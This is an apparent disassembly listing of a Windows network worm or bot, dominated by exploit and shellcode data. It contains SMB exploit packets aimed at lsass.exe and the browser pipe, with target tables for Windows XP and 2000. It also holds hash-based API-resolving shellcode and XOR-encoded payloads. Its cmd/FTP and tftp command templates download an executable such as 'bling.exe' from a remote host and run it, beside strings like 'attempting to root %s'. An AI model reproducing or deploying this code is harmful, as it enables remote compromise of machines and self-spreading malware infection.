		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42822C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4282AC	dd offset loc_401493+2	; DATA XREF: sub_403249+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd offset loc_407079+3
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_428340	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4283AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_403249+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------

loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8

loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp

loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------

loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------

loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi

loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------

loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------

loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq

loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------

loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp

loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------

loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]

loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A

loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995

loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h

loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------

loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]

loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------

loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl

loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh

loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp

loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]

loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx

loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------

loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------

loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h

loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4

loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax

loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx

loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h

loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp

loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h

loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb

loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
